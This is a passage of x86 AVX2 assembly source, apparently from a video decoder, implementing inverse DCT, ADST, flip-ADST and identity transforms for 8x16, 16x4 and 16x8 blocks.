pmulhrsw xm0, xm5
mov [cq+32*0], eax
mov [cq+32*1], eax
mov [cq+32*2], eax
mov [cq+32*3], eax
vinserti128 m0, m0, xm0, 1
mov r2d, 4
jmp m(inv_txfm_add_dct_dct_8x8).end2
%endif
%endmacro
%macro ITX_8X16_LOAD_COEFS 0
vpbroadcastd m4, [o(pw_2896x8)]
pmulhrsw m0, m4, [cq+32*0]
add cq, 32*4
pmulhrsw m7, m4, [cq+32*3]
pmulhrsw m1, m4, [cq-32*3]
pmulhrsw m6, m4, [cq+32*2]
pmulhrsw m2, m4, [cq-32*2]
pmulhrsw m5, m4, [cq+32*1]
pmulhrsw m3, m4, [cq-32*1]
pmulhrsw m4, [cq+32*0]
%endmacro
INV_TXFM_8X16_FN dct, dct, 0
INV_TXFM_8X16_FN dct, identity, 15
INV_TXFM_8X16_FN dct, adst
INV_TXFM_8X16_FN dct, flipadst
cglobal idct_8x16_internal, 0, 5, 13, dst, stride, c, eob, tx2
ITX_8X16_LOAD_COEFS
call m(idct_16x8_internal).main
vpbroadcastd m10, [o(pw_16384)]
.pass1_end:
vperm2i128 m9, m3, m7, 0x31
vinserti128 m3, m3, xm7, 1
vperm2i128 m8, m2, m6, 0x31
vinserti128 m2, m2, xm6, 1
vperm2i128 m6, m1, m5, 0x31
vinserti128 m1, m1, xm5, 1
vperm2i128 m5, m0, m4, 0x31
vinserti128 m0, m0, xm4, 1
punpckhwd m4, m2, m3
punpcklwd m2, m3
punpckhwd m3, m0, m1
punpcklwd m0, m1
.pass1_end2:
punpckhwd m7, m5, m6
punpcklwd m5, m6
punpcklwd m6, m8, m9
punpckhwd m8, m9
REPX {pmulhrsw x, m10}, m2, m0, m4, m3, m5, m6, m7, m8
punpckhdq m1, m0, m2
punpckldq m0, m2
punpckldq m2, m3, m4
punpckhdq m3, m4
punpckldq m4, m5, m6
punpckhdq m5, m6
punpckldq m6, m7, m8
punpckhdq m7, m8
jmp tx2q
.pass2:
call .main
REPX {vpermq x, x, q3120}, m0, m2, m4, m6
REPX {vpermq x, x, q2031}, m1, m3, m5, m7
.end:
vpbroadcastd m8, [o(pw_2048)]
.end2:
REPX {pmulhrsw x, m8}, m0, m1, m2, m3, m4, m5, m6, m7
.end3:
pxor m8, m8
REPX {mova [cq+32*x], m8}, -4, -3, -2, -1, 0, 1, 2, 3
.end4:
lea r3, [strideq*3]
WRITE_8X4 0, 1, 8, 9
lea dstq, [dstq+strideq*4]
WRITE_8X4 2, 3, 0, 1
lea dstq, [dstq+strideq*4]
WRITE_8X4 4, 5, 0, 1
lea dstq, [dstq+strideq*4]
WRITE_8X4 6, 7, 0, 1
RET
ALIGN function_align
.main:
IDCT16_1D_PACKED
ret
INV_TXFM_8X16_FN adst, dct
INV_TXFM_8X16_FN adst, adst
INV_TXFM_8X16_FN adst, flipadst
INV_TXFM_8X16_FN adst, identity
cglobal iadst_8x16_internal, 0, 5, 13, dst, stride, c, eob, tx2
ITX_8X16_LOAD_COEFS
call m(iadst_16x8_internal).main
call m(iadst_16x8_internal).main_pass1_end
vpbroadcastd m10, [o(pw_16384)]
pslld m9, m10, 17
psubw m10, m9 ; 16384, -16384
jmp m(idct_8x16_internal).pass1_end
ALIGN function_align
.pass2:
call .main
call .main_pass2_end
vpbroadcastd m9, [o(pw_2048)]
vpbroadcastd xm8, [o(pw_4096)]
psubw m8, m9
REPX {vpermq x, x, q2031}, m0, m1, m2, m3
REPX {vpermq x, x, q3120}, m4, m5, m6, m7
jmp m(idct_8x16_internal).end2
ALIGN function_align
.main:
REPX {pshufd x, x, q1032}, m7, m1, m5, m3
.main2:
vpbroadcastd m10, [o(pd_2048)]
punpckhwd m8, m7, m0 ; in14 in1
punpcklwd m0, m7 ; in0 in15
punpcklwd m7, m6, m1 ; in12 in3
punpckhwd m1, m6 ; in2 in13
punpckhwd m6, m5, m2 ; in10 in5
punpcklwd m2, m5 ; in4 in11
punpcklwd m5, m4, m3 ; in8 in7
punpckhwd m3, m4 ; in6 in9
ITX_MUL2X_PACK 0, 4, 9, 10, 201, 4091, 3 ; t0 t1
ITX_MUL2X_PACK 1, 4, 9, 10, 995, 3973, 3 ; t2 t3
ITX_MUL2X_PACK 2, 4, 9, 10, 1751, 3703, 3 ; t4 t5
ITX_MUL2X_PACK 3, 4, 9, 10, 2440, 3290, 3 ; t6 t7
ITX_MUL2X_PACK 5, 4, 9, 10, 3035, 2751, 3 ; t8 t9
ITX_MUL2X_PACK 6, 4, 9, 10, 3513, 2106, 3 ; t10 t11
ITX_MUL2X_PACK 7, 4, 9, 10, 3857, 1380, 3 ; t12 t13
ITX_MUL2X_PACK 8, 4, 9, 10, 4052, 601, 3 ; t14 t15
psubsw m4, m0, m5 ; t9a t8a
paddsw m0, m5 ; t1a t0a
psubsw m5, m1, m6 ; t11a t10a
paddsw m1, m6 ; t3a t2a
psubsw m6, m2, m7 ; t13a t12a
paddsw m2, m7 ; t5a t4a
psubsw m7, m3, m8 ; t15a t14a
paddsw m3, m8 ; t7a t6a
vpbroadcastd m11, [o(pw_m4017_799)]
vpbroadcastd m12, [o(pw_799_4017)]
pxor m9, m9
ITX_MUL2X_PACK 4, 8, _, 10, 11, 12, 6 ; t8 t9
psubw m8, m9, m11 ; pw_4017_m799
ITX_MUL2X_PACK 6, 12, _, 10, 12, 8, 6 ; t12 t13
vpbroadcastd m11, [o(pw_m2276_3406)]
vpbroadcastd m12, [o(pw_3406_2276)]
ITX_MUL2X_PACK 5, 8, _, 10, 11, 12, 6 ; t10 t11
psubw m8, m9, m11 ; pw_2276_m3406
ITX_MUL2X_PACK 7, 12, _, 10, 12, 8, 6 ; t14 t15
psubsw m8, m1, m3 ; t7 t6
paddsw m1, m3 ; t3 t2
psubsw m3, m0, m2 ; t5 t4
paddsw m0, m2 ; t1 t0
psubsw m2, m5, m7 ; t14a t15a
paddsw m7, m5 ; t10a t11a
psubsw m5, m4, m6 ; t12a t13a
paddsw m4, m6 ; t8a t9a
vpbroadcastd m11, [o(pw_m3784_1567)]
vpbroadcastd m12, [o(pw_1567_3784)]
ITX_MUL2X_PACK 3, 6, _, 10, 12, 11, 6 ; t5a t4a
psubw m6, m9, m11 ; pw_3784_m1567
ITX_MUL2X_PACK 8, 6, _, 10, 6, 12, 6 ; t7a t6a
vpbroadcastd m11, [o(pw_m1567_3784)]
vpbroadcastd m12, [o(pw_3784_1567)]
ITX_MUL2X_PACK 2, 6, _, 10, 11, 12, 6 ; t15 t14
psubw m6, m9, m11 ; pw_1567_m3784
ITX_MUL2X_PACK 5, 12, _, 10, 12, 6, 6 ; t13 t12
vbroadcasti128 m12, [o(deint_shuf)]
paddsw m6, m4, m7 ; -out1 out14
psubsw m4, m7 ; t10 t11
psubsw m11, m3, m8 ; t7 t6
paddsw m8, m3 ; out12 -out3
psubsw m3, m0, m1 ; t3a t2a
paddsw m0, m1 ; -out15 out0
paddsw m1, m2, m5 ; -out13 out2
psubsw m5, m2 ; t15a t14a
pshufb m0, m12
pshufb m6, m12
pshufb m8, m12
pshufb m1, m12
shufps m7, m6, m0, q1032 ; out14 -out15
vpblendd m0, m6, 0x33 ; -out1 out0
punpcklqdq m6, m8, m1 ; out12 -out13
punpckhqdq m1, m8, m1 ; -out3 out2
ret
ALIGN function_align
.main_pass1_end:
vpbroadcastd m8, [o(pw_m2896_2896)]
vpbroadcastd m12, [o(pw_2896_2896)]
pmaddwd m9, m8, m11 ; -out11
pmaddwd m2, m12, m5 ; -out5
pmaddwd m5, m8 ; out10
pmaddwd m11, m12 ; out4
REPX {paddd x, m10}, m9, m5, m2, m11
REPX {psrad x, 12 }, m9, m5, m2, m11
packssdw m5, m9 ; out10 -out11
packssdw m2, m11 ; -out5 out4
pmaddwd m11, m8, m3 ; out8
vpbroadcastd m8, [o(pw_2896_m2896)]
pmaddwd m3, m12 ; -out7
pmaddwd m8, m4 ; -out9
pmaddwd m4, m12 ; out6
REPX {paddd x, m10}, m11, m3, m8, m4
REPX {psrad x, 12 }, m11, m3, m8, m4
packssdw m3, m4 ; -out7 out6
packssdw m4, m11, m8 ; out8 -out9
vpbroadcastd m10, [o(pw_16384)]
pxor m9, m9
ret
ALIGN function_align
.main_pass2_end:
vpbroadcastd m8, [o(pw_2896x8)]
pshufb m2, m11, m12
pshufb m5, m12
pshufb m3, m12
pshufb m4, m12
punpcklqdq m11, m5, m2 ; t15a t7
punpckhqdq m5, m2 ; t14a t6
shufps m2, m3, m4, q1032 ; t2a t10
vpblendd m3, m4, 0xcc ; t3a t11
psubsw m4, m2, m3 ; out8 -out9
paddsw m3, m2 ; -out7 out6
paddsw m2, m5, m11 ; -out5 out4
psubsw m5, m11 ; out10 -out11
REPX {pmulhrsw x, m8}, m2, m3, m4, m5
ret
INV_TXFM_8X16_FN flipadst, dct
INV_TXFM_8X16_FN flipadst, adst
INV_TXFM_8X16_FN flipadst, flipadst
INV_TXFM_8X16_FN flipadst, identity
cglobal iflipadst_8x16_internal, 0, 5, 13, dst, stride, c, eob, tx2
ITX_8X16_LOAD_COEFS
call m(iadst_16x8_internal).main
call m(iadst_16x8_internal).main_pass1_end
vpbroadcastd m9, [o(pw_16384)]
pslld m10, m9, 17
psubw m10, m9 ; -16384, 16384
vperm2i128 m9, m4, m0, 0x31
vinserti128 m0, m4, xm0, 1
vperm2i128 m8, m5, m1, 0x31
vinserti128 m4, m5, xm1, 1
vperm2i128 m5, m7, m3, 0x31
vinserti128 m3, m7, xm3, 1
vinserti128 m1, m6, xm2, 1
vperm2i128 m6, m6, m2, 0x31
punpcklwd m2, m4, m0
punpckhwd m4, m0
punpcklwd m0, m3, m1
punpckhwd m3, m1
jmp m(idct_8x16_internal).pass1_end2
.pass2:
call m(iadst_8x16_internal).main
call m(iadst_8x16_internal).main_pass2_end
vpbroadcastd m8, [o(pw_2048)]
vpbroadcastd xm9, [o(pw_4096)]
psubw m8, m9
vpermq m9, m0, q3120
vpermq m0, m7, q2031
vpermq m7, m1, q3120
vpermq m1, m6, q2031
vpermq m6, m2, q3120
vpermq m2, m5, q2031
vpermq m5, m3, q3120
vpermq m3, m4, q2031
pmulhrsw m0, m8
pmulhrsw m1, m8
pmulhrsw m2, m8
pmulhrsw m3, m8
pmulhrsw m4, m5, m8
pmulhrsw m5, m6, m8
pmulhrsw m6, m7, m8
pmulhrsw m7, m9, m8
jmp m(idct_8x16_internal).end3
INV_TXFM_8X16_FN identity, dct, 7
INV_TXFM_8X16_FN identity, adst
INV_TXFM_8X16_FN identity, flipadst
INV_TXFM_8X16_FN identity, identity
%macro IDTX16 3-4 ; src/dst, tmp, pw_1697x16, [pw_16394]
pmulhrsw m%2, m%3, m%1
%if %0 == 4 ; if downshifting by 1
pmulhrsw m%2, m%4
%else
paddsw m%1, m%1
%endif
paddsw m%1, m%2
%endmacro
cglobal iidentity_8x16_internal, 0, 5, 13, dst, stride, c, eob, tx2
mova xm3, [cq+16*0]
mova xm2, [cq+16*2]
add cq, 16*8
vinserti128 m3, m3, [cq+16*0], 1
vinserti128 m2, m2, [cq+16*2], 1
vpbroadcastd m9, [o(pw_2896x8)]
mova xm4, [cq-16*4]
mova xm5, [cq-16*2]
vinserti128 m4, m4, [cq+16*4], 1
vinserti128 m5, m5, [cq+16*6], 1
mova xm7, [cq-16*7]
mova xm6, [cq-16*5]
vinserti128 m7, m7, [cq+16*1], 1
vinserti128 m6, m6, [cq+16*3], 1
mova xm8, [cq-16*3]
mova xm0, [cq-16*1]
vinserti128 m8, m8, [cq+16*5], 1
vinserti128 m0, m0, [cq+16*7], 1
punpcklwd m1, m3, m2
punpckhwd m3, m2
punpcklwd m2, m4, m5
punpckhwd m4, m5
punpcklwd m5, m7, m6
punpckhwd m7, m6
punpcklwd m6, m8, m0
punpckhwd m8, m0
REPX {pmulhrsw x, m9}, m1, m2, m3, m4, m5, m6, m7, m8
punpckldq m0, m1, m2
punpckhdq m1, m2
punpckldq m2, m3, m4
punpckhdq m3, m4
punpckldq m4, m5, m6
punpckhdq m5, m6
punpckldq m6, m7, m8
punpckhdq m7, m8
jmp tx2q
.pass2:
vpbroadcastd m8, [o(pw_1697x16)]
REPX {vpermq x, x, q3120}, m0, m1, m2, m3, m4, m5, m6, m7
REPX {IDTX16 x, 9, 8}, 0, 1, 2, 3, 4, 5, 6, 7
jmp m(idct_8x16_internal).end
%macro WRITE_16X2 6 ; coefs[1-2], tmp[1-2], offset[1-2]
pmovzxbw m%3, [dstq+%5]
%ifnum %1
paddw m%3, m%1
%else
paddw m%3, %1
%endif
pmovzxbw m%4, [dstq+%6]
%ifnum %2
paddw m%4, m%2
%else
paddw m%4, %2
%endif
packuswb m%3, m%4
vpermq m%3, m%3, q3120
mova [dstq+%5], xm%3
vextracti128 [dstq+%6], m%3, 1
%endmacro
%macro INV_TXFM_16X4_FN 2-3 -1 ; type1, type2, fast_thresh
INV_TXFM_FN %1, %2, %3, 16x4
%if %3 >= 0
%ifidn %1_%2, dct_identity
vpbroadcastd xm3, [o(pw_2896x8)]
pmulhrsw xm3, [cq]
vpbroadcastd xm0, [o(pw_16384)]
vpbroadcastd xm1, [o(pw_1697x8)]
pmulhrsw xm3, xm0
psrlw xm0, 3 ; pw_2048
pmulhrsw xm1, xm3
paddsw xm3, xm1
pmulhrsw xm3, xm0
punpcklwd xm3, xm3
punpckldq xm1, xm3, xm3
punpckhdq xm3, xm3
vpbroadcastq m0, xm1
vpermq m1, m1, q1111
vpbroadcastq m2, xm3
vpermq m3, m3, q1111
jmp m(iadst_16x4_internal).end2
%elifidn %1_%2, identity_dct
mova xm0, [cq+16*0]
mova xm2, [cq+16*1]
vinserti128 m0, m0, [cq+16*4], 1
vinserti128 m2, m2, [cq+16*5], 1
mova xm1, [cq+16*2]
mova xm3, [cq+16*3]
vinserti128 m1, m1, [cq+16*6], 1
vinserti128 m3, m3, [cq+16*7], 1
vpbroadcastd m4, [o(pw_1697x16)]
vpbroadcastd m5, [o(pw_16384)]
packusdw m0, m2
packusdw m1, m3
packusdw m0, m1
vpbroadcastd m1, [o(pw_2896x8)]
pmulhrsw m4, m0
pmulhrsw m4, m5
paddsw m0, m4
psrlw m5, 3 ; pw_2048
pmulhrsw m0, m1
pmulhrsw m0, m5
mov r3d, 2
.end:
pxor m3, m3
.end_loop:
mova [cq+32*0], m3
mova [cq+32*1], m3
add cq, 32*2
WRITE_16X2 0, 0, 1, 2, strideq*0, strideq*1
lea dstq, [dstq+strideq*2]
dec r3d
jg .end_loop
RET
%else
movd xm1, [o(pw_2896x8)]
pmulhrsw xm0, xm1, [cq]
%ifidn %2, dct
movd xm2, [o(pw_16384)]
mov [cq], eobd
mov r2d, 2
.dconly:
pmulhrsw xm0, xm2
movd xm2, [pw_2048] ; intentionally rip-relative
pmulhrsw xm0, xm1
pmulhrsw xm0, xm2
vpbroadcastw m0, xm0
pxor m3, m3
.dconly_loop:
mova xm1, [dstq]
vinserti128 m1, m1, [dstq+strideq], 1
punpckhbw m2, m1, m3
punpcklbw m1, m3
paddw m2, m0
paddw m1, m0
packuswb m1, m2
mova [dstq], xm1
vextracti128 [dstq+strideq], m1, 1
lea dstq, [dstq+strideq*2]
dec r2d
jg .dconly_loop
RET
%else ; adst / flipadst
movd xm2, [o(pw_16384)]
pmulhrsw xm0, xm2
vpbroadcastw m0, xm0
pmulhrsw m0, [o(iadst4_dconly2a)]
vpbroadcastd m3, [o(pw_2048)]
mov [cq], eobd
pmulhrsw m3, m0
%ifidn %2, adst
vpbroadcastq m0, xm3
vpermq m1, m3, q1111
vpermq m2, m3, q2222
vpermq m3, m3, q3333
%else ; flipadst
vpermq m0, m3, q3333
vpermq m1, m3, q2222
vpermq m2, m3, q1111
vpbroadcastq m3, xm3
%endif
jmp m(iadst_16x4_internal).end3
%endif
%endif
%endif
%endmacro
INV_TXFM_16X4_FN dct, dct, 0
INV_TXFM_16X4_FN dct, adst, 0
INV_TXFM_16X4_FN dct, flipadst, 0
INV_TXFM_16X4_FN dct, identity, 3
cglobal idct_16x4_internal, 0, 5, 11, dst, stride, c, eob, tx2
mova xm0, [cq+16*0]
mova xm1, [cq+16*1]
mova xm2, [cq+16*2]
mova xm3, [cq+16*3]
mova xm4, [cq+16*4]
mova xm5, [cq+16*5]
mova xm6, [cq+16*6]
mova xm7, [cq+16*7]
call m(idct_4x16_internal).main
vinserti128 m6, m2, xm6, 1
vinserti128 m2, m0, xm4, 1
vinserti128 m0, m1, xm5, 1
vinserti128 m1, m3, xm7, 1
punpcklwd m3, m2, m6
punpckhwd m2, m6
vpbroadcastd m6, [o(pw_16384)]
punpckhwd m4, m0, m1
punpcklwd m0, m1
mova m1, m6
jmp m(iadst_16x4_internal).pass1_end
.pass2:
call .main
jmp m(iadst_16x4_internal).end
ALIGN function_align
.main:
vpbroadcastd m6, [o(pd_2048)]
IDCT4_1D 0, 1, 2, 3, 4, 5, 6
ret
INV_TXFM_16X4_FN adst, dct
INV_TXFM_16X4_FN adst, adst
INV_TXFM_16X4_FN adst, flipadst
INV_TXFM_16X4_FN adst, identity
cglobal iadst_16x4_internal, 0, 5, 11, dst, stride, c, eob, tx2
vpermq m0, [cq+32*0], q1230
vpermq m3, [cq+32*3], q2103
vpermq m1, [cq+32*1], q1230
vpermq m2, [cq+32*2], q2103
call m(iadst_4x16_internal).main2
call m(iadst_4x16_internal).main_pass1_end
punpcklwd m4, m3, m1
punpcklwd m5, m2, m0
punpckhwd m0, m1
punpckhwd m2, m3
vpbroadcastd m1, [o(pw_16384)]
vinserti128 m3, m0, xm2, 1
vperm2i128 m2, m0, m2, 0x31
vinserti128 m0, m4, xm5, 1
vperm2i128 m4, m4, m5, 0x31
psubw m6, m7, m1
.pass1_end:
pmulhrsw m3, m1
pmulhrsw m2, m6
pmulhrsw m4, m1
pmulhrsw m0, m6
punpcklwd m1, m3, m2
punpckhwd m3, m2
punpcklwd m2, m4, m0
punpckhwd m4, m0
punpckldq m0, m1, m2
punpckhdq m1, m2
punpckldq m2, m3, m4
punpckhdq m3, m4
jmp tx2q
.pass2:
call .main
.end:
vpbroadcastd m4, [o(pw_2048)]
REPX {pmulhrsw x, m4}, m0, m1, m2, m3
WIN64_RESTORE_XMM
.end2:
pxor m4, m4
mova [cq+32*0], m4
mova [cq+32*1], m4
mova [cq+32*2], m4
mova [cq+32*3], m4
.end3:
WRITE_16X2 0, 1, 4, 5, strideq*0, strideq*1
lea dstq, [dstq+strideq*2]
WRITE_16X2 2, 3, 4, 5, strideq*0, strideq*1
RET
ALIGN function_align
.main:
vpbroadcastd m6, [o(pw_m3344_3344)]
vpbroadcastd m7, [o(pw_3803_1321)]
vpbroadcastd m8, [o(pw_m1321_2482)]
vpbroadcastd m9, [o(pw_2482_3344)]
punpcklwd m4, m2, m0 ; in2 in0 l
punpckhwd m2, m0 ; in2 in0 h
psrld m5, m6, 16
pmaddwd m10, m6, m4 ; t2:02 l
pmaddwd m6, m2 ; t2:02 h
pmaddwd m0, m7, m4 ; t0:02 l
pmaddwd m7, m2 ; t0:02 h
pmaddwd m4, m8 ; t1:02 l
pmaddwd m8, m2 ; t1:02 h
punpckhwd m2, m3, m1 ; in3 in1 h
punpcklwd m3, m1 ; in3 in1 l
pmaddwd m1, m5, m2 ; t2:3 h
pmaddwd m5, m3 ; t2:3 l
paddd m6, m1
vpbroadcastd m1, [o(pd_2048)]
paddd m10, m5
pmaddwd m5, m9, m3
pmaddwd m9, m2
paddd m0, m1
paddd m7, m1
paddd m0, m5 ; t0 + t3 + 2048 l
paddd m7, m9 ; t0 + t3 + 2048 h
vpbroadcastd m9, [o(pw_m3803_3344)]
pmaddwd m5, m9, m2
pmaddwd m9, m3
paddd m10, m1 ; t2 + 2048 l
paddd m6, m1 ; t2 + 2048 h
paddd m5, m1 ; t1:13 + 2048 h
paddd m1, m9 ; t1:13 + 2048 l
vpbroadcastd m9, [o(pw_m3803_m6688)]
pmaddwd m2, m9
pmaddwd m3, m9
paddd m5, m8 ; t1 + t3 + 2048 h
paddd m1, m4 ; t1 + t3 + 2048 l
paddd m8, m7
paddd m4, m0
paddd m2, m8 ; t0 + t1 - t3 + 2048 h
paddd m3, m4 ; t0 + t1 - t3 + 2048 l
REPX {psrad x, 12}, m10, m6, m0, m7, m5, m1, m2, m3
packssdw m0, m7
packssdw m1, m5
packssdw m3, m2
packssdw m2, m10, m6
ret
INV_TXFM_16X4_FN flipadst, dct
INV_TXFM_16X4_FN flipadst, adst
INV_TXFM_16X4_FN flipadst, flipadst
INV_TXFM_16X4_FN flipadst, identity
cglobal iflipadst_16x4_internal, 0, 5, 11, dst, stride, c, eob, tx2
vpermq m0, [cq+32*0], q1230
vpermq m3, [cq+32*3], q2103
vpermq m1, [cq+32*1], q1230
vpermq m2, [cq+32*2], q2103
call m(iadst_4x16_internal).main2
call m(iadst_4x16_internal).main_pass1_end
punpckhwd m4, m3, m2
punpckhwd m5, m1, m0
punpcklwd m0, m2
punpcklwd m1, m3
vpbroadcastd m6, [o(pw_16384)]
vinserti128 m3, m0, xm1, 1
vperm2i128 m2, m0, m1, 0x31
vinserti128 m0, m4, xm5, 1
vperm2i128 m4, m4, m5, 0x31
psubw m1, m7, m6
jmp m(iadst_16x4_internal).pass1_end
ALIGN function_align
.pass2:
call m(iadst_16x4_internal).main
vpbroadcastd m4, [o(pw_2048)]
REPX {pmulhrsw x, m4}, m3, m2, m1, m0
pxor m4, m4
mova [cq+32*0], m4
mova [cq+32*1], m4
mova [cq+32*2], m4
mova [cq+32*3], m4
WRITE_16X2 3, 2, 4, 5, strideq*0, strideq*1
lea dstq, [dstq+strideq*2]
WRITE_16X2 1, 0, 4, 5, strideq*0, strideq*1
RET
INV_TXFM_16X4_FN identity, dct, 15
INV_TXFM_16X4_FN identity, adst
INV_TXFM_16X4_FN identity, flipadst
INV_TXFM_16X4_FN identity, identity
cglobal iidentity_16x4_internal, 0, 5, 11, dst, stride, c, eob, tx2
mova xm2, [cq+16*0]
mova xm4, [cq+16*1]
vinserti128 m2, m2, [cq+16*4], 1
vinserti128 m4, m4, [cq+16*5], 1
mova xm0, [cq+16*2]
mova xm1, [cq+16*3]
vinserti128 m0, m0, [cq+16*6], 1
vinserti128 m1, m1, [cq+16*7], 1
vpbroadcastd m7, [o(pw_1697x16)]
vpbroadcastd m8, [o(pw_16384)]
punpcklwd m3, m2, m4
punpckhwd m2, m4
punpcklwd m4, m0, m1
punpckhwd m0, m1
punpcklwd m1, m3, m2
punpckhwd m3, m2
punpcklwd m2, m4, m0
punpckhwd m4, m0
pmulhrsw m0, m7, m1
pmulhrsw m5, m7, m2
pmulhrsw m6, m7, m3
pmulhrsw m7, m4
REPX {pmulhrsw x, m8}, m0, m5, m6, m7
paddsw m1, m0
paddsw m2, m5
paddsw m3, m6
paddsw m4, m7
punpcklqdq m0, m1, m2
punpckhqdq m1, m2
punpcklqdq m2, m3, m4
punpckhqdq m3, m4
jmp tx2q
.pass2:
vpbroadcastd m7, [o(pw_1697x8)]
pmulhrsw m4, m7, m0
pmulhrsw m5, m7, m1
pmulhrsw m6, m7, m2
pmulhrsw m7, m3
paddsw m0, m4
paddsw m1, m5
paddsw m2, m6
paddsw m3, m7
jmp m(iadst_16x4_internal).end
%macro INV_TXFM_16X8_FN 2-3 -1 ; type1, type2, fast_thresh
INV_TXFM_FN %1, %2, %3, 16x8
%ifidn %1_%2, dct_dct
movd xm1, [o(pw_2896x8)]
pmulhrsw xm0, xm1, [cq]
movd xm2, [o(pw_16384)]
mov [cq], eobd
pmulhrsw xm0, xm1
mov r2d, 4
jmp m(inv_txfm_add_dct_dct_16x4).dconly
%elifidn %1_%2, dct_identity
WIN64_SPILL_XMM 13
vbroadcasti128 m7, [cq]
vpbroadcastd m0, [o(pw_2896x8)]
vpbroadcastd m1, [o(pw_16384)]
pxor xm2, xm2
mova [cq], xm2
pmulhrsw m7, m0
pmulhrsw m7, m0
pmulhrsw m7, m1
psrlw m1, 2 ; pw_4096
pmulhrsw m7, m1
punpcklwd m3, m7, m7
punpckhwd m7, m7
pshufd m0, m3, q0000
pshufd m1, m3, q1111
pshufd m2, m3, q2222
pshufd m3, m3, q3333
pshufd m4, m7, q0000
pshufd m5, m7, q1111
pshufd m6, m7, q2222
pshufd m7, m7, q3333
lea r3, [strideq*3]
WRITE_16X2 0, 1, 8, 0, strideq*0, strideq*1
WRITE_16X2 2, 3, 0, 1, strideq*2, r3
jmp m(idct_16x8_internal).end4
%elifidn %1_%2, identity_dct
mova m0, [cq+32*0]
packusdw m0, [cq+32*1]
mova m2, [cq+32*2]
packusdw m2, [cq+32*3]
mova m1, [cq+32*4]
packusdw m1, [cq+32*5]
mova m3, [cq+32*6]
packusdw m3, [cq+32*7]
vpbroadcastd m4, [o(pw_2896x8)]
vpbroadcastd m5, [o(pw_1697x16)]
packusdw m0, m2
packusdw m1, m3
vpbroadcastd m2, [o(pw_16384)]
packusdw m0, m1
vpermq m1, m0, q3322
vpermq m0, m0, q1100
punpcklwd m0, m1
pmulhrsw m0, m4
pmulhrsw m5, m0
pmulhrsw m5, m2
paddsw m0, m5
psrlw m2, 3 ; pw_2048
pmulhrsw m0, m4
pmulhrsw m0, m2
mov r3d, 4
jmp m(inv_txfm_add_identity_dct_16x4).end
%endif
%endmacro
%macro ITX_16X8_LOAD_COEFS 1 ; shuf_odd
vpbroadcastd m8, [o(pw_2896x8)]
vpermq m0, [cq+32*0], q3120
add cq, 32*4
vpermq m7, [cq+32*3], q%1
vpermq m1, [cq-32*3], q%1
vpermq m6, [cq+32*2], q3120
vpermq m2, [cq-32*2], q3120
vpermq m5, [cq+32*1], q%1
vpermq m3, [cq-32*1], q%1
vpermq m4, [cq+32*0], q3120
REPX {pmulhrsw x, m8}, m0, m7, m1, m6, m2, m5, m3, m4
%endmacro
INV_TXFM_16X8_FN dct, dct, 0
INV_TXFM_16X8_FN dct, identity, 7
INV_TXFM_16X8_FN dct, adst
INV_TXFM_16X8_FN dct, flipadst
cglobal idct_16x8_internal, 0, 5, 13, dst, stride, c, eob, tx2
ITX_16X8_LOAD_COEFS 3120
call m(idct_8x16_internal).main
vpbroadcastd m10, [o(pw_16384)]
punpckhwd m8, m0, m2
punpcklwd m0, m2
punpckhwd m2, m1, m3
punpcklwd m1, m3
punpcklwd m9, m4, m6
punpckhwd m4, m6
punpcklwd m6, m5, m7
punpckhwd m5, m7
REPX {pmulhrsw x, m10}, m8, m1, m4, m6
.pass1_end:
REPX {pmulhrsw x, m10}, m0, m2, m9, m5
punpckhwd m3, m0, m8
punpcklwd m0, m8
punpckhwd m8, m2, m1
punpcklwd m2, m1
punpcklwd m7, m9, m4
punpckhwd m9, m4
punpcklwd m4, m5, m6
punpckhwd m5, m6
punpckhdq m1, m0, m2
punpckldq m0, m2
punpckldq m2, m3, m8
punpckhdq m3, m8
punpckldq m6, m7, m4
punpckhdq m7, m4
punpckldq m8, m9, m5
punpckhdq m9, m5
vperm2i128 m4, m0, m6, 0x31
vinserti128 m0, m0, xm6, 1
vperm2i128 m5, m1, m7, 0x31
vinserti128 m1, m1, xm7, 1
vperm2i128 m6, m2, m8, 0x31
vinserti128 m2, m2, xm8, 1
vperm2i128 m7, m3, m9, 0x31
vinserti128 m3, m3, xm9, 1
jmp tx2q
.pass2:
call .main
vpbroadcastd m8, [o(pw_2048)]
.end:
REPX {pmulhrsw x, m8}, m0, m2, m4, m6
.end2:
REPX {pmulhrsw x, m8}, m1, m3, m5, m7
lea r3, [strideq*3]
WRITE_16X2 0, 1, 8, 0, strideq*0, strideq*1
WRITE_16X2 2, 3, 0, 1, strideq*2, r3
.end3:
pxor m0, m0
REPX {mova [cq+32*x], m0}, -4, -3, -2, -1, 0, 1, 2, 3
.end4:
lea dstq, [dstq+strideq*4]
WRITE_16X2 4, 5, 0, 1, strideq*0, strideq*1
WRITE_16X2 6, 7, 0, 1, strideq*2, r3
RET
ALIGN function_align
.main:
vpbroadcastd m10, [o(pd_2048)]
.main2:
IDCT8_1D 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10
ret
INV_TXFM_16X8_FN adst, dct
INV_TXFM_16X8_FN adst, adst
INV_TXFM_16X8_FN adst, flipadst
INV_TXFM_16X8_FN adst, identity
cglobal iadst_16x8_internal, 0, 5, 13, dst, stride, c, eob, tx2
ITX_16X8_LOAD_COEFS 1302
call m(iadst_8x16_internal).main2
call m(iadst_8x16_internal).main_pass1_end
psubw m11, m9, m10
punpcklwd m8, m0, m2
punpckhwd m0, m2
punpckhwd m2, m1, m3
punpcklwd m1, m3
punpcklwd m9, m4, m6
punpckhwd m4, m6
punpckhwd m6, m5, m7
punpcklwd m5, m7
REPX {pmulhrsw x, m11}, m8, m1, m4, m6
jmp m(idct_16x8_internal).pass1_end
ALIGN function_align
.pass2:
call .main
call .main_pass2_end
pxor m8, m8
psubw m8, m9
REPX {pmulhrsw x, m9}, m0, m2, m4, m6
jmp m(idct_16x8_internal).end2
ALIGN function_align
.main:
vpbroadcastd m10, [o(pd_2048)]
ITX_MULSUB_2W 7, 0, 8, 9, 10, 401, 4076 ; t1a, t0a
ITX_MULSUB_2W 3, 4, 8, 9, 10, 3166, 2598 ; t5a, t4a
ITX_MULSUB_2W 1, 6, 8, 9, 10, 3920, 1189 ; t7a, t6a
ITX_MULSUB_2W 5, 2, 8, 9, 10, 1931, 3612 ; t3a, t2a
psubsw m8, m2, m6 ; t6
paddsw m2, m6 ; t2
psubsw m6, m0, m4 ; t4
paddsw m0, m4 ; t0
psubsw m4, m5, m1 ; t7
paddsw m5, m1 ; t3
psubsw m1, m7, m3 ; t5
paddsw m7, m3 ; t1
ITX_MULSUB_2W 6, 1, 3, 9, 10, 1567, 3784 ; t5a, t4a
